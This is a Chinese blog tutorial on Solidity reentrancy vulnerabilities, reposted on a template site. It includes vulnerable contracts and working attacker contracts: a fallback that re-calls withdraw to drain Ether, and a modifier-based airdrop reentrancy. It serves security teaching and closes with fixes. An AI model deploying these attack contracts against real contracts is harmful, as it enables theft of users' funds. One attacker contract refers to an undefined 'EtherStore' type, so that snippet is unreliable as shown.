solidity 重入漏洞

这篇具有很好参考价值的文章主要介绍了solidity 重入漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

1. 重入漏洞的原理

2.  重入漏洞的场景

2.1 msg.sender.call 转账

2.2 修饰器中调用地址可控的函数


1. 重入漏洞的原理

重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用

solidity 重入漏洞,区块链安全,区块链

 恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约地址可控。当恶意合约 B 实现了 funcB,并且 funcB 的代码中又调用了合约 A 的 funcA,就会导致一个循环调用,即 step 2 => step 3 => step 2 => step 3 => ....... 直到 合约 gas 耗尽或其他强制结束事件发生。

2.  重入漏洞的场景

2.1 msg.sender.call 转账

msg.sender.call 转账场景下重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用
  • 使用 call 函数发送 ether,且不设置 gas
  • 记录款项数目的状态变量,值变化发生在转账之后

solidity 重入漏洞,区块链安全,区块链

恶意合约 B 调用了合约 A 的退款函数;合约 A 的退款函数通过 call 函数给合约 B 进行转账,且没有设置 gas,合约 B 的 fallback 函数自动执行,被用来接收转账;合约 B 的 fallback 函数中又调用了合约 A

合约 A

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract A {
    mapping(address => uint) public balances;

    function deposit() public payable { 
       balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        // 调用 call 函数将款项转到 msg.sender 的账户
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        // 账户余额清零
        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

恶意合约 B:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract B {
    A public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when A sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

2.2 修饰器中调用地址可控的函数

代码地址:https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier

 漏洞合约代码:

pragma solidity 0.8.13;

import "./Dependencies.sol";

contract InsecureAirdrop {
    mapping (address => uint256) private userBalances;
    mapping (address => bool) private receivedAirdrops;

    uint256 public immutable airdropAmount;

    constructor(uint256 _airdropAmount) {
        airdropAmount = _airdropAmount;
    }

    function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
        // Mint Airdrop
        userBalances[msg.sender] += airdropAmount;
        receivedAirdrops[msg.sender] = true;
    }

    modifier neverReceiveAirdrop {
        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
        _;
    }

    // In this example, the _isContract() function is used for checking 
    // an airdrop compatibility only, not checking for any security aspects
    function _isContract(address _account) internal view returns (bool) {
        // It is unsafe to assume that an address for which this function returns 
        // false is an externally-owned account (EOA) and not a contract
        uint256 size;
        assembly {
            // There is a contract size check bypass issue
            // But, it is not the scope of this example though
            size := extcodesize(_account)
        }
        return size > 0;
    }

    modifier canReceiveAirdrop() {
        // If the caller is a smart contract, check if it can receive an airdrop
        if (_isContract(msg.sender)) {
            // In this example, the _isContract() function is used for checking 
            // an airdrop compatibility only, not checking for any security aspects
            require(
                IAirdropReceiver(msg.sender).canReceiveAirdrop(), 
                "Receiver cannot receive an airdrop"
            );
        }
        _;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function hasReceivedAirdrop(address _user) external view returns (bool) {
        return receivedAirdrops[_user];
    }
}

攻击合约代码:

pragma solidity 0.8.13;

import "./Dependencies.sol";

interface IAirdrop {
    function receiveAirdrop() external;
    function getUserBalance(address _user) external view returns (uint256);
}

contract Attack is IAirdropReceiver {
    IAirdrop public immutable airdrop;

    uint256 public xTimes;
    uint256 public xCount;

    constructor(IAirdrop _airdrop) {
        airdrop = _airdrop;
    }

    function canReceiveAirdrop() external override returns (bool) {
        if (xCount < xTimes) {
            xCount++;
            airdrop.receiveAirdrop();
        }
        return true;
    }

    function attack(uint256 _xTimes) external {
        xTimes = _xTimes;
        xCount = 1;

        airdrop.receiveAirdrop();
    }

    function getBalance() external view returns (uint256) {
        return airdrop.getUserBalance(address(this));
    }
}

漏洞合约为一个空投合约,限制每个账户只能领一次空投。

攻击过程:

  1. 部署攻击合约 Attacker 后,执行函数 attack,attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投;
  2. 漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码,而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop(),此时 msg.sender 为攻击合约地址;
  3. 攻击合约自己实现了 canReceiveAirdrop() 函数,并且函数代码中再次调用了 receiveAirdrop 函数接收空投

于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。

修复重入漏洞

1.避免使用call方法转账

2.确保所有状态变量的逻辑都发生在转账之前

3.引入互斥锁文章来源地址https://www.toymoban.com/news/detail-764994.html

到了这里,关于solidity 重入漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Solidity 合约安全,常见漏洞(第三篇)

    如果你只处理受信任的 ERC20 代币,这些问题大多不适用。然而,当与任意的或部分不受信任的 ERC20 代币交互时,就有一些需要注意的地方。 ERC20:转账扣费 当与不信任的代币打交道时,你不应该认为你的余额一定会增加那么多。一个 ERC20 代币有可能这样实现它的转账函数,

    2024年02月09日
    浏览(41)
  • Solidity攻击合约:重入攻击与危害分析

             以太坊智能合约 开发中, 重入攻击 是一种常见的安全漏洞。这种攻击通常发生在合约的递归调用中,攻击者通过构造恶意交易,使得原本合约在执行过程中不断调用自身或其他合约,从而耗尽合约的 Gas(交易费用) ,或者导致意外的状态改变。 目录 一、原本

    2024年03月10日
    浏览(96)
  • 欢迎来到Web3.0的世界:Solidity智能合约安全漏洞分析

    智能合约是运行在区块链网络中的一段程序,经由多方机构自动执行预先设定的逻辑,程序执行后,网络上的最终状态将不可改变。智能合约本质上是传统合约的数字版本,由去中心化的计算机网络执行,而不是由政府或银行等中央集权机构执行。智能合约程序可以用Solidi

    2024年02月03日
    浏览(45)
  • 一个以太坊合约的漏洞分析-重入攻击

    请找出下列合约漏洞,并说明如何盗取ContractB 中的数字资产,并修复合约。中说明:ContractB 的contract_a接口为ContractA 地址 这段 Solidity 代码中存在一个关键的漏洞,允许攻击者在 ContractB 中盗取数字资产。攻击者可以利用 withdrawFunds 函数中的漏洞来实现攻击,让我们一步步分

    2024年02月11日
    浏览(46)
  • 智能合约安全,著名的区块链漏洞:双花攻击

    区块链技术通过提供去中心化和透明的系统彻底改变了各个行业。 但是,与任何技术一样,它也不能免受漏洞的影响。一个值得注意的漏洞是双花攻击。 在本文中,我们将深入研究双花攻击的复杂性,探讨其工作原理、开发方法、预防措施及其对区块链生态系统的影响。 区

    2024年02月04日
    浏览(57)
  • 某60区块链安全之整数溢出漏洞实战学习记录

    ` 学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用 Ubuntu18.04操作机 python3 低版本Solidity整数是uint无符号类型,若操作存在不安全行为,可能会产生溢出,通过分析代码找到漏洞点,实现整数溢出利用。 题目环境是测试链,所以需要本地与题目进行交互,可使用

    2024年02月03日
    浏览(44)
  • 以太坊硬分叉后的可重入漏洞攻击

    以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而,这次升级也有一个副作用,在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络中,这些函数被认为是可重入安全的,但分叉后它们不再是了。

    2024年02月11日
    浏览(36)
  • Linux 可重入、异步信号安全和线程安全

    当一个被捕获的信号被一个进程处理时,进程执行的普通的指令序列会被一个信号处理器暂时地中断。它首先执行该信号处理程序中的指令。如果从信号处理程序返回(例如没有调用exit或longjmp),则继续执行在捕获到信号时进程正在执行的正常指令序列(这和当一个硬件中

    2024年02月11日
    浏览(34)
  • 【区块链 | Solidity】跟我学 Solidity(7):事件

    如何使用事件记录数据 原文: https://medium.com/better-programming/learn-solidity-events-2801d6a99a92 作者: wissal haji 欢迎订阅《Solidity智能合约零基础开发教程专栏》系列文章。 在今天的文章中,我们将看到如何使用web3.js从区块链中读取事件。 Solidity中的事件就像你习惯于使用其他语

    2024年01月25日
    浏览(54)
  • 智能合约安全之重入攻击浅析

    概述:     重入攻击是由于智能合约调用了外部不安全合约,或者对外发送以太币,使得合约的外部调用能够被劫持,导致合约内的方法被外部合约递归调用 形成重入攻击有如下条件:     1、调用了外部不安全合约     2、使用了不安全的转账方式,未进行gas限制。    

    2024年02月07日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包